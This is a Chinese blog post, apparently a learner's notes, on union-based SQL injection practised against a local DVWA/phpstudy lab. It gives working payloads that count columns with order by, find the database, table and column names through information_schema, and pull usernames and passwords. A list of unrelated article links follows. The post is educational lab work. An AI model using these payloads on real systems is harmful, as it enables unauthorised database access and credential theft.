SQL注入 - Part 1

news2024/11/17 5:36:38
  • 前置知识:sql
  • 前置的软件环境:预装了phpstudy_pro+dvwa,花了好长时间……时间主要浪费在听从chatgpt的建议装xampp上,卸载了mysql,重置了密码。其实使用xampp搭建环境也成功了,但是由于phpstudy教程比较多,在WWW文件夹下可直接放写好的前后端(xampp应该也可以,不确定),最后还是换成了phpstudy_pro。
  • 系统地学一下sql注入…之前只是知其然不知其所以然

SQL注入

  • 一、 如何获取数据库信息
    • 1. show命令
    • 2. select+sql函数
    • 3. 系统库(如系统自带的库information_schema,有元信息)
  • 二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波
    • 1. 判断是否能够注入
    • 2. 得到库名
    • 3. 得到表名
    • 4. 得到列名
    • 5. 查询最终的数据

一、 如何获取数据库信息

1. show命令

show databases; --比如发现有dvwa这个库
use dvwa; -- 指定库名

show tables; --比如发现dvwa库下有guestbook 和 users 这两张表

show columns from dvwa.users; --指定库和表,显示有哪些列

2. select+sql函数

select database();
select user();
select version();

3. 系统库(如系统自带的库information_schema,有元信息)

系统库描述
information schemamysql服务器所有数据库的信息
mysql基存储数据库的用户、权限设置、关键字等
performance schema主要用于收集数据库服务器性能参数
sys数据来自performance schema

第一个第二个比较重要,第二个是存了用户名密码,第一个是库信息。

-- information_schema是一个库,SCHEMATA是该库下的一张表,schema_name是这张表的一列,存了所有真正的库
-- information_schema是一个库,TABLES是该库下的一张表,table_name是这张表的一列,存了所有真正的库中的表信息
-- information_schema是一个库,COLUMNS是该库下的一张表,column_name是这张表的一列,存了所有真正的库中的所有表的字段信息

select * from information_schema.SCHEMATA;
-- 示例1: 查所有真正的库的名字
select schema_name from information_schema.SCHEMATA; 

-- 示例2: 查指定库dvwa中所有表的名字
select table_name from information_schema.tables where table_schema = 'dvwa';

-- 示例3: 查指定库dvwa中指定表users的所有列的名字
select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';

二、 [本地数据库+phpstudy_pro下的php写的后端+简单html前端] 浅试一波

例1:POST请求

<form align="center" action="login.php" method="post" enctype="multipart/form-data">

目的:使用库函数 select database();查询后台使用的数据库。

两个限制:

  1. 第一,网页本身对于用户名的select查询注释不掉,我们自己的select查询又需要一个select语句。这两条语句只能拼成一条语句查询,而不能像navicat里面自己查数据的时候用分号隔开。
  2. 第二,查询的两条语句的字段数需要是一样的,并且数据类型也要相同(至少可转化)。

所以:
① 首先要搞清楚网页表单框框本身查询的语句是查了几列。思路是使用 order by 排序,由于order by 1 代表的是按第1列,order by 2 代表的是按第2列,那么只要查到order by i+1 报错的时候,说明本身有i列,不存在第 i+1 列。
② 如果是i列,而我查的database()只占位1列,则需要把i-1列补齐。

所以我们希望后台的查询语句是这样的:

 select * from test where user=' ' union select database(),1 ; -- ' and password='admin';
 

所以我们在输入框中填入的是 ' union select database(),1 ; --
在这里插入图片描述
第一个查询到的就是数据库的名字,第二个1是我们补齐的1

例2.GET请求(直接在url写)

$res = mysqli_query($con, $sql);

针对url.php这个文件,我们发现使用的是mysqli_query而不是mysql_query函数,但是依然是不安全的,因为没有使用参数化查询的方式,仅仅用的是拼接。

1. 判断是否能够注入

此处,我们在最后添加’,以进行判断是否能够注入(这样后面就会多出来一个’,网页报错)

2. 得到库名

不直接打空格(之前某次ctf我处于”良好的编码习惯“打了空格死活进不去)而是使用加号作为空格进行拼接

  • notes:比如我下面这段url中,使用的是get方法。我们知道sql查询语句-- 是注释,但是得跟一个空格才能真正注释掉,所以最后跟了一个加号,不加这个加号依旧会报错
http://localhost:8082/school/url.php?id=1%27%20order+by+1--+

首先还是用order by 来看一下究竟本身查了几列,从而判断自己需要添加几个字段进去以保证字段个数相同。发现到4报错,也就是查了三列
那么构造以下查询即可查询database()
在这里插入图片描述
为了不显示第一行的数据(有可能有的地方只允许显示一段),可以把id设为-1:

在这里插入图片描述

3. 得到表名

  • 此处思路是使用一、3.的系统库的命令select table_name from information_schema.tables where table_schema = 'dvwa';查询。由于我们刚刚得到了库名wuya,所以table_schema = ‘wuya’。
  • 无涯老师讲的是,最终要构造一个这样的类型:
 select * from users where id=-1 union select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya';

所以需要构造

 http://localhost:8082/school/url.php?id=-1' 
union 
select 1, 1, table_name from information_schema.TABLES where table_schema = 'wuya'--+
  • [进化]但是,由于这是线上环境,只会显示一个格子的内容,也就是table_name显示不全,所以我们要使用group_concat()进行拼接。构造
http://localhost:8082/school/url.php?id=-1' 
union 
select 1, 1, group_concat(table_name) from information_schema.TABLES where table_schema = 'wuya'--+
  • [我的版本]其实到这个时候我还是运行不出来,一直报错,一直想了几种方案,总算找到问题所在,好像是编码有问题,在1,1,table_name后面加上限定:
http://localhost:8082/school/url.php?id=-1' 
union 
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(table_name) COLLATE utf8_general_ci 
from information_schema.TABLES where table_schema = 'wuya'--+

这样总算不报错了,查出来两个表,分别是test和users
在这里插入图片描述

  • 注:还有一个问题,我本来感觉数据类型必须要匹配,比如原本数据库查了id,user, password,此时的类型很可能是int,varchar,varchar。如果此时我们构造的是table_name,1,1就有可能出问题。但是我试了一下依然查出来了,然后我就感到很奇怪,我去本地数据库一看,哦id为varchar()类型,那没事了
    在这里插入图片描述
    在这里插入图片描述

4. 得到列名

依旧是之前的语句

 select column_name from information_schema.COLUMNS where table_schema = 'dvwa' and table_name = 'users';

所以我们也沿袭刚刚的变成

select * from users where id=-1 
union 
select 1 COLLATE utf8_general_ci, 1 COLLATE utf8_general_ci, group_concat(column_name) COLLATE utf8_general_ci 
from information_schema.COLUMNS where table_schema = 'wuya' and table_name = 'users';

在这里插入图片描述

5. 查询最终的数据

select * from users where id=-1 
union 
select id,name,password
from wuya.users;

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/548772.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

了解物理层下的传输媒体

1.了解物理层下的传输媒体 声明&#xff1a;该学习笔记来自湖科大教书匠&#xff0c;笔记仅做学习参考 笔记来源&#xff1a; 湖科大教书匠&#xff1a;物理层的基本概念 湖科大教书匠&#xff1a;物理层下面的传输媒体 1.1 物理层的基本概念 物理层考虑在连接各计算机的传输…

JQuery原理剖析——自己手写简易版JQuery

目录 为什么需要JQuery 在此之前回顾JavaScript对象知识&#xff1a; 自己手写的简易JQuery&#xff1a; 为什么需要JQuery 在我们之前写的JS代码中经常会遇见document.getElementById等等获取元素的对象&#xff0c;当大量的元素对象需要被获取时&#xff0c;就会有很多相似…

linux系统升级/更新OpenSSL版本操作流程记录

问题描述&#xff1a;有时 OpenSSL 版本过老升级&#xff0c;或者需要更新 OpenSSL 版本 1. 登录 linux 系统后输入 openssl version 查看现在使用的版本 我的输入后版本信息为&#xff1a;OpenSSL 1.1.1g FIPS 21 Apr 2020 &#xff0c;可以看到是一年前更新版本&#xff0c;…

openGauss数据库Package原理分析FAQ

FAQ的形式分析OpenGauss中package实现基础关键逻辑。 下面四个问题基本将市面上基于postgresql实现package的方法分成了几类。 例如问题一&#xff1a; openGauss使用包所在的namespace作为包函数的namespace。IvorySQL使用包本身的oid作为包函数的namespace。还有db创建一个…

微信小程序vue+nodejs校园快递物流取件及上门服务系统uniapp

系统分为用户和管理员两个角色 用户的主要功能有&#xff1a; 1.用户注册和登陆系统 2.用户查看系统的公告信息 3.用户在线快递下单&#xff0c;支付订单&#xff0c;在线订购快递取件 4.用户在线预约快递&#xff0c;填写快递预约信息 5.用户个人中心在线充值 6.用户个人中心修…

c++学习——概述、命名空间注意事项

C语言在c语言的基础上添加了面向对象编程和泛型编程的支持。 第一个helloworld #define _CRT_SECURE_NO_WARNINGS #include <iostream> using namespace std;//标准命名空间int main() {//cout是标准的输出流对象&#xff0c;打印字符串//endl是刷新缓冲区&#xff0c;…

软件详细设计总复习(一)【太原理工大学】

实验内容重点看&#xff0c;无需死记&#xff0c;它更是一种设计思想。要理解一种设计模式出现的意义是什么&#xff0c;它又是如何方便我们使用的&#xff1f;目的无非就是解耦、易扩充。题目问到优缺点&#xff0c;你只要知道该模式的设计思想就完全可以用自己的话概述&#…

chatgpt赋能Python-python3绘制图形

Python3绘制图形 – 让数据更加生动 作为一种可视化数据的工具&#xff0c;图形在数据分析和展示中扮演着重要的角色。Python3作为一种高效的编程语言&#xff0c;在图形方面也有自己的实现方式&#xff0c;让我们一起来了解Python3的图形绘制。 什么是Python3图形绘制&#…

chatgpt赋能Python-python3_取余

Python3 取余 在Python3中&#xff0c;取余运算是使用%符号进行实现的。它可以用于整数和浮点数&#xff0c;并返回一个余数。Python3是一种开放源码、高级编程语言。它是一种解释型语言&#xff0c;由于其简洁的语法和易于阅读的特性而受到广泛的欢迎。 取余基础 取余运算就…

ContOS7单机安装Hadoop

安装Hadoop 1&#xff0c;准备环节 因为Hadoop是由java编写的&#xff0c;所以需要Java的环境支持&#xff0c;作为开发者我们需要安装jdk。 安装jdk的教程http://t.csdn.cn/6qJKg 下载Hadoop的安装包 Hadoop官网&#xff1a;http://hadoop.apache.org/ Hadoop版本下载地…

【连续介质力学】张量的偏微分、球张量和偏张量

张量的偏微分 张量的一阶微分&#xff0c;定义&#xff1a; ∂ A ∂ A A , A ∂ A i j ∂ A k l ( e ^ i ⨂ e ^ j ⨂ e ^ k ⨂ e ^ l ) δ i k δ j l ( e ^ i ⨂ e ^ j ⨂ e ^ k ⨂ e ^ l ) I \frac{\partial A}{\partial A} A_{,A}\frac{\partial A_{ij}}{\partial A…

C++ map用法总结(整理)

1&#xff0c;map简介 map是STL的一个关联容器&#xff0c;它提供一对一的hash。 第一个可以称为关键字(key)&#xff0c;每个关键字只能在map中出现一次&#xff1b;第二个可能称为该关键字的值(value)&#xff1b; map以模板(泛型)方式实现&#xff0c;可以存储任意类型的…

算法26:暴力递归

目录 题目1&#xff1a;给你一个字符串&#xff0c;要求打印打印出这个字符串的全部子序列&#xff08;子序列不能重复&#xff09; 题目2&#xff1a;打印一个字符串的全部排列。 题目3&#xff1a;针对题目2&#xff0c;要求去除重复元素 题目4&#xff1a;给定一个字符串…

【靶机】vulnhub靶机billu

靶机下载地址&#xff1a;https://download.vulnhub.com/billu/Billu_b0x.zip 一、环境搭建 1.1 实验环境设计 使用vmware导入靶机&#xff0c;模式为nat模式即可&#xff0c;同时开启kali作为攻击机&#xff0c;对靶机进行渗透&#xff0c;要确定两台主机在同一网段。 Kali…

[Python从零到壹] 六十六.图像识别及经典案例篇之基于机器学习的图像分类

五月太忙&#xff0c;还是写一篇吧&#xff01; 欢迎大家来到“Python从零到壹”&#xff0c;在这里我将分享约200篇Python系列文章&#xff0c;带大家一起去学习和玩耍&#xff0c;看看Python这个有趣的世界。所有文章都将结合案例、代码和作者的经验讲解&#xff0c;真心想把…

opencv_c++学习(十五)

一、图像的模板匹配 顾名思义&#xff0c;模板匹配是在一幅图像中寻找一个相同或相似的对象&#xff0c;如上图所示。 matchTemplate(lnputArray image, lnputArray templ,OutputArray result, int method, lnputArray mask noArray())image:待模板匹配的原图像&#xff0c;图…

【Spring/MySQL数据库系列】数据库事务的特点与隔离级别

⭐️前面的话⭐️ 本文已经收录到《Spring框架全家桶系列》专栏&#xff0c;本文将介绍有关数据库事务的特点以及隔离级别。 &#x1f4d2;博客主页&#xff1a;未见花闻的博客主页 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4…

数值计算 - 利用机器计算的基本方式

离散化方法 设f(x)是定义在[a,b]上的连续函数&#xff0c;当它们的表达式很复杂&#xff0c;甚至写不出来时&#xff0c;我们可以选择若干个离散点 求出f(x)在这些点处的函数值或函数值的近似值 从而得到一个如下的函数值列表&#xff1a; ⚠️提示&#xff1a;对于一个实际的…

Android源码环境搭建

Android源码环境搭建 参考&#xff1a; Android源码环境搭建 1.安装Ubuntu16.4 系统 2.openjdk 8 的安装 sudo apt-get install openjdk-8-jdk使用java -version检查版本 3.安装所有的软件包 sudo apt-get install git-core gnupg flex bison gperf build-essential zip c…

Shell基础学习---3、Read读取控制台输入、函数、正则表达式入门

1、Read读取控制台输入 1、基本语法 read &#xff08;选项&#xff09; &#xff08;参数&#xff09; 选项说明-p指定读取值的提示符-t指定读取值等待的时间(秒) 如果-t不加表示一直等待 参数说明变量指定读取值的变量名 2、案例实操 2、函数 2.1 系统函数 2.1.1 bas…